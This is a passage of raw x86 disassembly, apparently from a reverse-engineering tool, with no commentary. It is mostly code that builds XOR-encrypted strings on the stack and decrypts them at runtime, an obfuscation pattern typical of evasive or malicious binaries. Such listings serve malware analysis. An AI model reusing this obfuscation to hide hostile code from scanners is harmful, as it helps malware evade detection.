mov dword [ebp - 0x554], 0x89c15b7c
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x554]
mov dword [ebp - 0x1448], eax
mov dword [ebp - 0x1444], ecx
mov dword [ebp - 0x560], 0xdf9be395
mov dword [ebp - 0x55c], 0xf940fadb
mov eax, dword [ebp - 0x560]
mov ecx, dword [ebp - 0x55c]
mov dword [ebp - 0x568], 0x7dbb92e6
mov dword [ebp - 0x564], 0x14d846fe
mov dword [ebp - 0x1b20], eax
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x1b1c], ecx
mov ecx, dword [ebp - 0x564]
mov dword [ebp - 0x570], 0xd94f69a7
mov dword [ebp - 0x56c], 0xc0cfc619
mov dword [ebp - 0x1b18], eax
mov eax, dword [ebp - 0x570]
mov dword [ebp - 0x1b14], ecx
mov ecx, dword [ebp - 0x56c]
mov dword [ebp - 0x1b10], eax
mov dword [ebp - 0x578], 0xae7946e8
mov dword [ebp - 0x1b0c], ecx
mov dword [ebp - 0x574], 0x89c15b7c
mov eax, dword [ebp - 0x578]
mov ecx, dword [ebp - 0x574]
movaps xmm1, xmmword [ebp - 0x1460]
xorps xmm1, xmmword [ebp - 0x1b20]
movaps xmmword [ebp - 0x1460], xmm1
movaps xmm1, xmmword [ebp - 0x1450]
mov dword [ebp - 0x1b08], eax
lea eax, [ebp - 0x1460]
mov dword [ebp - 0x1b04], ecx
lea ecx, [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x1b10]
push eax
movaps xmmword [ebp - 0x1450], xmm1
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov dword [ebp - 0x580], 0xb4e982f8
mov dword [ebp - 0x57c], 0x9c289984
mov ecx, dword [ebp - 0x580]
mov edx, dword [ebp - 0x57c]
mov dword [ebp - 0x1480], ecx
mov dword [ebp - 0x147c], edx
mov dword [ebp - 0x588], 0xde4f985
mov dword [ebp - 0x584], 0x63ab359f
mov ecx, dword [ebp - 0x588]
mov byte [ebp - 0x1d], al
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x1478], ecx
mov dword [ebp - 0x1474], eax
mov dword [ebp - 0x590], 0xaa2b1bc8
mov dword [ebp - 0x58c], 0xc0cfc619
mov eax, dword [ebp - 0x590]
mov ecx, dword [ebp - 0x58c]
mov dword [ebp - 0x1470], eax
mov dword [ebp - 0x146c], ecx
mov dword [ebp - 0x598], 0xae7946e8
mov dword [ebp - 0x594], 0x89c15b7c
mov eax, dword [ebp - 0x598]
mov ecx, dword [ebp - 0x594]
mov dword [ebp - 0x1468], eax
mov dword [ebp - 0x1464], ecx
mov dword [ebp - 0x5a0], 0xdf9be395
mov dword [ebp - 0x59c], 0xf940fadb
mov eax, dword [ebp - 0x5a0]
mov ecx, dword [ebp - 0x59c]
mov dword [ebp - 0x5a8], 0x7dbb92e6
mov dword [ebp - 0x5a4], 0x14d846fe
mov dword [ebp - 0x1b40], eax
mov eax, dword [ebp - 0x5a8]
mov dword [ebp - 0x1b3c], ecx
mov ecx, dword [ebp - 0x5a4]
mov dword [ebp - 0x5b0], 0xd94f69a7
mov dword [ebp - 0x5ac], 0xc0cfc619
mov dword [ebp - 0x1b38], eax
mov eax, dword [ebp - 0x5b0]
mov dword [ebp - 0x1b34], ecx
mov ecx, dword [ebp - 0x5ac]
mov dword [ebp - 0x1b30], eax
mov dword [ebp - 0x5b8], 0xae7946e8
mov dword [ebp - 0x1b2c], ecx
mov dword [ebp - 0x5b4], 0x89c15b7c
mov eax, dword [ebp - 0x5b8]
mov ecx, dword [ebp - 0x5b4]
movaps xmm1, xmmword [ebp - 0x1480]
xorps xmm1, xmmword [ebp - 0x1b40]
movaps xmmword [ebp - 0x1480], xmm1
movaps xmm1, xmmword [ebp - 0x1470]
mov dword [ebp - 0x1b28], eax
lea eax, [ebp - 0x1480]
mov dword [ebp - 0x1b24], ecx
lea ecx, [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x1b30]
push eax
movaps xmmword [ebp - 0x1470], xmm1
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov dword [ebp - 0x5c0], 0xb4e982f8
mov dword [ebp - 0x5bc], 0x9c289984
mov ecx, dword [ebp - 0x5c0]
mov edx, dword [ebp - 0x5bc]
mov dword [ebp - 0x14a0], ecx
mov dword [ebp - 0x149c], edx
mov dword [ebp - 0x5c8], 0x15e4f985
mov dword [ebp - 0x5c4], 0x7bac3597
mov ecx, dword [ebp - 0x5c8]
mov byte [ebp - 0x1e], al
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x1498], ecx
mov dword [ebp - 0x1494], eax
mov dword [ebp - 0x5d0], 0xd94f10d5
mov dword [ebp - 0x5cc], 0xc0cfc619
mov eax, dword [ebp - 0x5d0]
mov ecx, dword [ebp - 0x5cc]
mov dword [ebp - 0x1490], eax
mov dword [ebp - 0x148c], ecx
mov dword [ebp - 0x5d8], 0xae7946e8
mov dword [ebp - 0x5d4], 0x89c15b7c
mov eax, dword [ebp - 0x5d8]
mov ecx, dword [ebp - 0x5d4]
mov dword [ebp - 0x1488], eax
mov dword [ebp - 0x1484], ecx
mov dword [ebp - 0x5e0], 0xdf9be395
mov dword [ebp - 0x5dc], 0xf940fadb
mov eax, dword [ebp - 0x5e0]
mov ecx, dword [ebp - 0x5dc]
mov dword [ebp - 0x5e8], 0x7dbb92e6
mov dword [ebp - 0x5e4], 0x14d846fe
mov dword [ebp - 0x1b60], eax
mov eax, dword [ebp - 0x5e8]
mov dword [ebp - 0x1b5c], ecx
mov ecx, dword [ebp - 0x5e4]
mov dword [ebp - 0x5f0], 0xd94f69a7
mov dword [ebp - 0x5ec], 0xc0cfc619
mov dword [ebp - 0x1b58], eax
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0x1b54], ecx
mov ecx, dword [ebp - 0x5ec]
mov dword [ebp - 0x1b50], eax
mov dword [ebp - 0x5f8], 0xae7946e8
mov dword [ebp - 0x1b4c], ecx
mov dword [ebp - 0x5f4], 0x89c15b7c
mov eax, dword [ebp - 0x5f8]
mov ecx, dword [ebp - 0x5f4]
movaps xmm1, xmmword [ebp - 0x14a0]
xorps xmm1, xmmword [ebp - 0x1b60]
movaps xmmword [ebp - 0x14a0], xmm1
movaps xmm1, xmmword [ebp - 0x1490]
mov dword [ebp - 0x1b48], eax
lea eax, [ebp - 0x14a0]
mov dword [ebp - 0x1b44], ecx
lea ecx, [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x1b50]
push eax
movaps xmmword [ebp - 0x1490], xmm1
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov dword [ebp - 0x600], 0xb4e982f8
mov dword [ebp - 0x5fc], 0x942f9e84
mov ecx, dword [ebp - 0x600]
mov edx, dword [ebp - 0x5fc]
mov dword [ebp - 0xfe0], ecx
mov dword [ebp - 0xfdc], edx
mov dword [ebp - 0x608], 0xed5fb87
mov dword [ebp - 0x604], 0x14d846fe
mov ecx, dword [ebp - 0x608]
mov byte [ebp - 0x29], al
mov eax, dword [ebp - 0x604]
mov dword [ebp - 0xfd8], ecx
mov dword [ebp - 0xfd4], eax
mov dword [ebp - 0x610], 0xdf9be395
mov dword [ebp - 0x60c], 0xf940fadb
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x60c]
mov dword [ebp - 0x1820], eax
mov dword [ebp - 0x618], 0x7dbb92e6
mov dword [ebp - 0x181c], ecx
mov dword [ebp - 0x614], 0x14d846fe
mov eax, dword [ebp - 0x618]
mov ecx, dword [ebp - 0x614]
movaps xmm1, xmmword [ebp - 0xfe0]
mov dword [ebp - 0x1818], eax
lea eax, [ebp - 0xfe0]
mov dword [ebp - 0x1814], ecx
lea ecx, [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x1820]
push eax
movaps xmmword [ebp - 0xfe0], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x1e40]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0x620], 0xdf9be3b9
mov dword [ebp - 0x61c], 0xf940fadb
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x61c]
mov dword [ebp - 0xff0], eax
mov dword [ebp - 0xfec], ecx
mov dword [ebp - 0x628], 0x7dbb92e6
mov dword [ebp - 0x624], 0x14d846fe
mov eax, dword [ebp - 0x628]
mov ecx, dword [ebp - 0x624]
mov dword [ebp - 0xfe8], eax
mov dword [ebp - 0xfe4], ecx
mov dword [ebp - 0x630], 0xdf9be395
mov dword [ebp - 0x62c], 0xf940fadb
mov eax, dword [ebp - 0x630]
mov ecx, dword [ebp - 0x62c]
mov dword [ebp - 0x638], 0x7dbb92e6
mov dword [ebp - 0x634], 0x14d846fe
mov dword [ebp - 0x1830], eax
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0x182c], ecx
mov ecx, dword [ebp - 0x634]
mov dword [ebp - 0x1828], eax
movaps xmm1, xmmword [ebp - 0xff0]
lea eax, [ebp - 0xff0]
sub esp, 0x18
mov dword [ebp - 0x1824], ecx
xorps xmm1, xmmword [ebp - 0x1830]
mov ecx, esp
mov dword [ebp - 0x1c90], esp
movaps xmmword [ebp - 0xff0], xmm1
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x20
sub esp, 0x18
lea eax, [ebp - 0x1e40]
mov dword [ebp - 0x1c94], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x21
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x6c]
call fcn.004e64d0
add esp, 0x30
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x640], 0xb4e982f8
mov dword [ebp - 0x63c], 0x8c2f9984
mov eax, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x63c]
mov dword [ebp - 0x1000], eax
mov dword [ebp - 0xffc], ecx
mov dword [ebp - 0x648], 0x14c9e688
mov dword [ebp - 0x644], 0x14d8359b
mov eax, dword [ebp - 0x648]
mov ecx, dword [ebp - 0x644]
mov dword [ebp - 0xff8], eax
mov dword [ebp - 0xff4], ecx
mov dword [ebp - 0x650], 0xdf9be395
mov dword [ebp - 0x64c], 0xf940fadb
mov eax, dword [ebp - 0x650]
mov ecx, dword [ebp - 0x64c]
mov dword [ebp - 0x1840], eax
mov dword [ebp - 0x658], 0x7dbb92e6
mov dword [ebp - 0x183c], ecx
mov dword [ebp - 0x654], 0x14d846fe
mov eax, dword [ebp - 0x658]
mov ecx, dword [ebp - 0x654]
movaps xmm1, xmmword [ebp - 0x1000]
mov dword [ebp - 0x1838], eax
lea eax, [ebp - 0x1000]
mov dword [ebp - 0x1834], ecx
lea ecx, [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x1840]
push eax
mov byte [ebp - 0x11], 0
movaps xmmword [ebp - 0x1000], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x1e28]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0x23
cmp dword [ebp - 0x1e18], 0
je 0x487ca0
mov dword [ebp - 0x660], 0xdf9be3b9
sub esp, 0x18
mov dword [ebp - 0x65c], 0xf940fadb
mov eax, dword [ebp - 0x660]
mov ecx, dword [ebp - 0x65c]
mov dword [ebp - 0x1060], eax
mov dword [ebp - 0x105c], ecx
mov dword [ebp - 0x668], 0x7dbb92e6
mov dword [ebp - 0x664], 0x14d846fe
mov eax, dword [ebp - 0x668]
mov ecx, dword [ebp - 0x664]
mov dword [ebp - 0x1058], eax
mov dword [ebp - 0x1054], ecx
mov dword [ebp - 0x670], 0xdf9be395
mov dword [ebp - 0x66c], 0xf940fadb
mov eax, dword [ebp - 0x670]
mov ecx, dword [ebp - 0x66c]
mov dword [ebp - 0x1850], eax
mov dword [ebp - 0x678], 0x7dbb92e6
mov dword [ebp - 0x184c], ecx
mov dword [ebp - 0x674], 0x14d846fe
mov eax, dword [ebp - 0x678]
mov ecx, dword [ebp - 0x674]
movaps xmm1, xmmword [ebp - 0x1060]
mov dword [ebp - 0x1848], eax
lea eax, [ebp - 0x1060]
mov dword [ebp - 0x1844], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x1850]
mov dword [ebp - 0x1c98], esp
push eax
movaps xmmword [ebp - 0x1060], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x24
sub esp, 0x18
lea eax, [ebp - 0x1e28]
mov dword [ebp - 0x1c9c], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x25
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x15d8]
call fcn.004e64d0
add esp, 0x30
mov byte [ebp - 4], 0x26
xor edi, edi
mov eax, dword [ebp - 0x15d4]
mov esi, dword [ebp - 0x15d8]
sub eax, esi
sar eax, 3
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0x24], eax
test eax, eax
je 0x487c87
nop
cmp dword [ebx + 0x1c], 0xf
lea eax, [ebx + 8]
mov ecx, esi
cmova eax, dword [ebx + 8]
cmp dword [esi + 0x14], 0xf
jbe 0x487c65
mov ecx, dword [esi]
push dword [ebx + 0x18]
mov edx, dword [esi + 0x10]
push eax
call fcn.00426f30
add esp, 8
test al, al
jne 0x487c83
inc edi
add esi, 0x18
cmp edi, dword [ebp - 0x24]
jb 0x487c50
jmp 0x487c87
mov byte [ebp - 0x11], 1
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x15d8]
call fcn.004185d0
cmp byte [ebp - 0x11], 0
je 0x48a604
cmp dword [ebp - 0x1e30], 0
je 0x48a600
cmp byte [ebp - 0x1d], 0
je 0x488a81
lea ecx, [ebx + 0x30]
call fcn.00413790
test eax, eax
je 0x4882a6
lea eax, [ebp - 0x1bc]
push eax
lea ecx, [ebx + 0x30]
call fcn.0041b260
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0xc9]
mov ecx, dword [ebp - 0x1bc]
push eax
mov ecx, dword [ecx]
mov dword [ebp - 0x160], ecx
call fcn.00413660
cmp byte [ecx + 0xd], 0
jne 0x48827b
nop
cmp byte [ebp - 0x1c], 0
jne 0x48827b
cmp byte [ecx + 0x28], 0
lea esi, [ecx + 0x28]
je 0x488260
mov ecx, esi
call fcn.00413790
test eax, eax
je 0x488260
lea eax, [ebp - 0x140]
mov ecx, esi
push eax
call fcn.00413830
lea eax, [ebp - 0x1860]
push eax
call fcn.004137c0
mov esi, dword [ebp - 0x140]
nop word [eax + eax]
cmp esi, dword [ebp - 0x1860]
jne 0x48e925
movzx eax, byte [esi]
sub eax, 1
je 0x487d85
sub eax, 1
je 0x487d77
mov eax, dword [ebp - 0x134]
cmp eax, dword [ebp - 0x1854]
jmp 0x487d91
mov eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x1858]
jmp 0x487d91
mov eax, dword [ebp - 0x13c]
cmp eax, dword [ebp - 0x185c]
setne al
test al, al
je 0x488260
lea ecx, [ebp - 0x140]
call fcn.00413200
cmp byte [ebp - 0x1c], 0
jne 0x488260
lea ecx, [ebp - 0x1b4]
push ecx
mov ecx, eax
call fcn.0041b260
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0xca]
mov ecx, dword [ebp - 0x1b4]
push eax
mov ecx, dword [ecx]
mov dword [ebp - 0x158], ecx
call fcn.00413660
cmp byte [ecx + 0xd], 0
jne 0x4881e3
nop word [eax + eax]
cmp byte [ebp - 0x1c], 0
jne 0x4881e3
lea esi, [ecx + 0x28]
mov ecx, esi
call fcn.00413790
test eax, eax
je 0x4881c8
lea eax, [ebp - 0x10b0]
mov ecx, esi
push eax
call fcn.00413830
lea eax, [ebp - 0x1870]
push eax
call fcn.004137c0
nop word [eax + eax]
mov esi, dword [ebp - 0x10b0]
cmp esi, dword [ebp - 0x1870]
jne 0x48e8ec
movzx eax, byte [esi]
mov edi, dword [ebp - 0x10a4]
mov ecx, eax
mov edx, dword [ebp - 0x10ac]
sub ecx, 1
je 0x487e73
sub ecx, 1
je 0x487e65
cmp edi, dword [ebp - 0x1864]
jmp 0x487e79
mov ecx, dword [ebp - 0x10a8]
cmp ecx, dword [ebp - 0x1868]
jmp 0x487e79
cmp edx, dword [ebp - 0x186c]
setne cl
test cl, cl
je 0x4881c8
sub eax, 0
je 0x48e8b3
sub eax, 1
je 0x487ea9
sub eax, 1
je 0x487ea1
test edi, edi
jne 0x48e6eb
jmp 0x487eac
mov esi, dword [ebp - 0x10a8]
jmp 0x487eac
lea esi, [edx + 0x28]
cmp byte [ebp - 0x1c], 0
jne 0x4881c8
push 0x5659da
lea ecx, [ebp - 0x1e10]
call fcn.00402cf0
mov byte [ebp - 4], 0x2d
mov dword [ebp - 0x680], 0xbef68cf1
mov dword [ebp - 0x67c], 0xf94094b2
mov eax, dword [ebp - 0x680]
mov ecx, dword [ebp - 0x67c]
mov dword [ebp - 0x1070], eax
mov dword [ebp - 0x106c], ecx
mov dword [ebp - 0x688], 0x7dbb92e6
mov dword [ebp - 0x684], 0x14d846fe
mov eax, dword [ebp - 0x688]
mov ecx, dword [ebp - 0x684]
mov dword [ebp - 0x1068], eax
mov dword [ebp - 0x1064], ecx
mov dword [ebp - 0x690], 0xdf9be395
mov dword [ebp - 0x68c], 0xf940fadb
mov eax, dword [ebp - 0x690]
mov ecx, dword [ebp - 0x68c]
mov dword [ebp - 0x1880], eax
mov dword [ebp - 0x698], 0x7dbb92e6
mov dword [ebp - 0x187c], ecx
mov dword [ebp - 0x694], 0x14d846fe
mov eax, dword [ebp - 0x698]
mov ecx, dword [ebp - 0x694]
movaps xmm1, xmmword [ebp - 0x1070]
mov dword [ebp - 0x1878], eax
lea eax, [ebp - 0x1070]
mov dword [ebp - 0x1874], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x1880]
push eax
movaps xmmword [ebp - 0x1070], xmm1
call fcn.0041af80
cmp byte [eax], 0
je 0x488085
mov dword [ebp - 0x6a0], 0xbef68cf1
mov dword [ebp - 0x69c], 0xf94094b2
mov eax, dword [ebp - 0x6a0]
mov ecx, dword [ebp - 0x69c]
mov dword [ebp - 0x1090], eax
mov dword [ebp - 0x108c], ecx
mov dword [ebp - 0x6a8], 0x7dbb92e6
mov dword [ebp - 0x6a4], 0x14d846fe
mov eax, dword [ebp - 0x6a8]
mov ecx, dword [ebp - 0x6a4]
mov dword [ebp - 0x1088], eax
mov dword [ebp - 0x1084], ecx
mov dword [ebp - 0x6b0], 0xdf9be395
mov dword [ebp - 0x6ac], 0xf940fadb
mov eax, dword [ebp - 0x6b0]
mov ecx, dword [ebp - 0x6ac]
mov dword [ebp - 0x1890], eax
mov dword [ebp - 0x6b8], 0x7dbb92e6
mov dword [ebp - 0x188c], ecx
mov dword [ebp - 0x6b4], 0x14d846fe
mov eax, dword [ebp - 0x6b8]
mov ecx, dword [ebp - 0x6b4]
movaps xmm1, xmmword [ebp - 0x1090]
mov dword [ebp - 0x1888], eax
lea eax, [ebp - 0x1090]
mov dword [ebp - 0x1884], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x1890]
push eax
movaps xmmword [ebp - 0x1090], xmm1
call fcn.0041af80
push eax
lea ecx, [ebp - 0x1e10]
call fcn.0041b400
mov dword [ebp - 0x6c0], 0xdf9be3bb
lea edx, [ebp - 0x10a0]
mov dword [ebp - 0x6bc], 0xf940fadb
sub esp, 0x18
mov eax, dword [ebp - 0x6c0]
mov ecx, dword [ebp - 0x6bc]
mov dword [ebp - 0x10a0], eax
mov dword [ebp - 0x109c], ecx
mov dword [ebp - 0x6c8], 0x7dbb92e6
mov dword [ebp - 0x6c4], 0x14d846fe
mov eax, dword [ebp - 0x6c8]
mov ecx, dword [ebp - 0x6c4]
mov dword [ebp - 0x1098], eax
mov dword [ebp - 0x1094], ecx
mov dword [ebp - 0x6d0], 0xdf9be395
mov dword [ebp - 0x6cc], 0xf940fadb
mov eax, dword [ebp - 0x6d0]
mov ecx, dword [ebp - 0x6cc]
mov dword [ebp - 0x18a0], eax
mov dword [ebp - 0x6d8], 0x7dbb92e6
mov dword [ebp - 0x189c], ecx
mov dword [ebp - 0x6d4], 0x14d846fe
mov eax, dword [ebp - 0x6d8]
mov ecx, dword [ebp - 0x6d4]
movaps xmm1, xmmword [ebp - 0x10a0]
mov dword [ebp - 0x1898], eax
lea eax, [ebp - 0x1e10]
mov dword [ebp - 0x1894], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x18a0]
mov dword [ebp - 0x1ca0], esp
push eax
movaps xmmword [ebp - 0x10a0], xmm1
call fcn.0041ac50
mov byte [ebp - 4], 0x2e
sub esp, 8
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x1c84], esp
mov ecx, esp
mov byte [ebp - 0x1d], 0
push eax
call fcn.00415350
mov byte [ebp - 4], 0x2f
mov byte [ebp - 4], 0x2d
mov cl, byte [ebp - 0x1d]
call fcn.004d6ed0
mov ecx, dword [ebp - 0x1c]
add esp, 0x24
test al, al
movzx ecx, cl
mov eax, 1
cmovne ecx, eax
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x1e10]
call fcn.00402df0
lea ecx, [ebp - 0x10b0]
call fcn.004131b0
jmp 0x487e30
lea ecx, [ebp - 0x158]
call fcn.00417990
mov ecx, dword [ebp - 0x158]
cmp byte [ecx + 0xd], 0
je 0x487df0
mov byte [ebp - 4], 0x27
mov eax, dword [ebp - 0x1b4]
push dword [eax + 4]
lea eax, [ebp - 0x1b4]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x1b4]
call fcn.004338f3
mov esi, dword [ebp - 0x140]
add esp, 8
movzx eax, byte [esi]
sub eax, 1
je 0x488238
sub eax, 1
je 0x48822c
inc dword [ebp - 0x134]
jmp 0x487d50
add dword [ebp - 0x138], 0x10
jmp 0x487d50
mov eax, dword [ebp - 0x13c]
lea ecx, [ebp - 0x15c]
mov dword [ebp - 0x15c], eax
call fcn.00417990
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x13c], eax
jmp 0x487d50
lea ecx, [ebp - 0x160]
call fcn.00417990
mov ecx, dword [ebp - 0x160]
cmp byte [ecx + 0xd], 0
je 0x487d00
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0x1bc]
push dword [eax + 4]
lea eax, [ebp - 0x1bc]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x1bc]
call fcn.004338f3
add esp, 8
mov eax, dword [ebp - 0x1c]
test al, al
jne 0x488a84
lea ecx, [ebx + 0x40]
call fcn.00413790
test eax, eax
je 0x488a81
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebx + 0x40]
call fcn.0041b260
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0xd0]
mov ecx, dword [ebp - 0x1cc]
push eax
mov ecx, dword [ecx]
mov dword [ebp - 0x174], ecx
call fcn.00413660
cmp byte [ecx + 0xd], 0
jne 0x488a56
nop dword [eax + eax]
cmp byte [ebp - 0x1c], 0
jne 0x488a56
cmp byte [ecx + 0x28], 0
lea esi, [ecx + 0x28]
je 0x488a3b
mov ecx, esi
call fcn.00413790
test eax, eax
je 0x488a3b
lea eax, [ebp - 0x110]
mov ecx, esi
push eax
call fcn.00413830
lea eax, [ebp - 0x18b0]
push eax
call fcn.004137c0
mov esi, dword [ebp - 0x110]
nop word [eax + eax]
cmp esi, dword [ebp - 0x18b0]
jne 0x48ea5d
movzx ecx, byte [esi]
mov eax, ecx
sub eax, 1
je 0x488387
sub eax, 1
je 0x488379
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x18a4]
jmp 0x488393
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x18a8]
jmp 0x488393
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x18ac]
setne al
test al, al
je 0x488a3b
sub ecx, 0
je 0x48ea24
sub ecx, 1
je 0x4883c8
sub ecx, 1
je 0x4883c0
cmp dword [ebp - 0x104], 0
jne 0x48e724
jmp 0x4883d1
mov esi, dword [ebp - 0x108]
jmp 0x4883d1
mov esi, dword [ebp - 0x10c]
add esi, 0x28
cmp byte [ebp - 0x1c], 0
jne 0x488a3b
lea eax, [ebp - 0x1c4]
mov ecx, esi
push eax
call fcn.0041b260
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0xcb]
mov ecx, dword [ebp - 0x1c4]
push eax
mov ecx, dword [ecx]
mov dword [ebp - 0x168], ecx
call fcn.00413660
cmp byte [ecx + 0xd], 0
jne 0x4889be
cmp byte [ebp - 0x1c], 0
jne 0x4889be
movzx eax, byte [ecx + 0x28]
lea esi, [ecx + 0x28]
sub eax, 0
je 0x4889a3
sub eax, 1
je 0x488442
sub eax, 1
jne 0x488450
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
sar ecx, 4
jmp 0x488448
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x4889a3
lea eax, [ebp - 0x100]
mov ecx, esi
push eax
call fcn.00413830
lea eax, [ebp - 0x18c0]
push eax
call fcn.004137c0
mov edi, dword [ebp - 0x100]
cmp edi, dword [ebp - 0x18c0]
jne 0x48e9eb
movzx ecx, byte [edi]
mov eax, ecx
sub eax, 1
je 0x4884a7
sub eax, 1
je 0x488499
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0x18b4]
jmp 0x4884b3
mov eax, dword [ebp - 0xf8]
cmp eax, dword [ebp - 0x18b8]
jmp 0x4884b3
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0x18bc]
setne al
test al, al
je 0x4889a3
sub ecx, 0
je 0x48e9b2
sub ecx, 1
je 0x4884e8
sub ecx, 1
je 0x4884e0
cmp dword [ebp - 0xf4], 0
jne 0x48e75d
jmp 0x4884f1
mov edi, dword [ebp - 0xf8]
jmp 0x4884f1
mov edi, dword [ebp - 0xfc]
add edi, 0x28
cmp byte [ebp - 0x1c], 0
jne 0x4889a3
push 0
xorps xmm0, xmm0
mov dword [ebp - 0x1c08], 0
push 0x5659da
lea ecx, [ebp - 0x1c18]
mov dword [ebp - 0x1c04], 0
movups xmmword [ebp - 0x1c18], xmm0
call fcn.00403040
mov byte [ebp - 4], 0x3a
mov dword [ebp - 0x6e0], 0xbef68cf1
mov dword [ebp - 0x6dc], 0xf94094b2
mov eax, dword [ebp - 0x6e0]
mov ecx, dword [ebp - 0x6dc]
mov dword [ebp - 0x10c0], eax
mov dword [ebp - 0x10bc], ecx
mov dword [ebp - 0x6e8], 0x7dbb92e6
mov dword [ebp - 0x6e4], 0x14d846fe
mov eax, dword [ebp - 0x6e8]
mov ecx, dword [ebp - 0x6e4]
mov dword [ebp - 0x10b8], eax
mov dword [ebp - 0x10b4], ecx
mov dword [ebp - 0x6f0], 0xdf9be395
mov dword [ebp - 0x6ec], 0xf940fadb
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6ec]
mov dword [ebp - 0x6f8], 0x7dbb92e6
mov dword [ebp - 0x18d0], eax
mov dword [ebp - 0x6f4], 0x14d846fe
mov eax, dword [ebp - 0x6f8]
mov dword [ebp - 0x18cc], ecx
mov ecx, dword [ebp - 0x6f4]
movaps xmm1, xmmword [ebp - 0x10c0]
mov dword [ebp - 0x18c8], eax
mov dword [ebp - 0x18c4], ecx
xorps xmm1, xmmword [ebp - 0x18d0]
movaps xmmword [ebp - 0x10c0], xmm1
cmp byte [edi], 0
jne 0x48861b
push 1
lea ecx, [ebp - 0x1578]
mov byte [edi], 1
call fcn.00417ef0
mov eax, dword [ebp - 0x1578]
mov ecx, dword [ebp - 0x1574]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
cmp byte [edi], 1
jne 0x48e95e
mov esi, dword [edi + 8]
lea eax, [ebp - 0x10c0]
push eax
lea ecx, [ebp - 0x1f68]
call fcn.00402cf0
mov byte [ebp - 4], 0x3b
lea eax, [ebp - 0x1f68]
push eax
lea eax, [ebp - 0x1f18]
mov ecx, esi
push eax
call fcn.00426db0
mov esi, dword [eax]
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x1f68]
call fcn.00402df0
cmp byte [esi + 0x28], 0
je 0x488765
mov dword [ebp - 0x700], 0xbef68cf1
mov dword [ebp - 0x6fc], 0xf94094b2
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x10d0], eax
mov dword [ebp - 0x10cc], ecx
mov dword [ebp - 0x708], 0x7dbb92e6
mov dword [ebp - 0x704], 0x14d846fe
mov eax, dword [ebp - 0x708]
mov ecx, dword [ebp - 0x704]
mov dword [ebp - 0x10c8], eax
mov dword [ebp - 0x10c4], ecx
mov dword [ebp - 0x710], 0xdf9be395
mov dword [ebp - 0x70c], 0xf940fadb
mov eax, dword [ebp - 0x710]
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x18e0], eax
mov dword [ebp - 0x718], 0x7dbb92e6
mov dword [ebp - 0x18dc], ecx
mov dword [ebp - 0x714], 0x14d846fe
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x714]
movaps xmm1, xmmword [ebp - 0x10d0]
mov dword [ebp - 0x18d8], eax
lea eax, [ebp - 0x10d0]
mov dword [ebp - 0x18d4], ecx
mov ecx, edi
xorps xmm1, xmmword [ebp - 0x18e0]
push eax
movaps xmmword [ebp - 0x10d0], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x1580]
push ecx
mov ecx, eax
call fcn.004219a0
push dword [ebp - 0x157c]
lea ecx, [ebp - 0x1c18]
push dword [ebp - 0x1580]
call fcn.00416130
mov dword [ebp - 0x720], 0xdf9be3bb
lea edx, [ebp - 0x10e0]
mov dword [ebp - 0x71c], 0xf940fadb
sub esp, 0x18
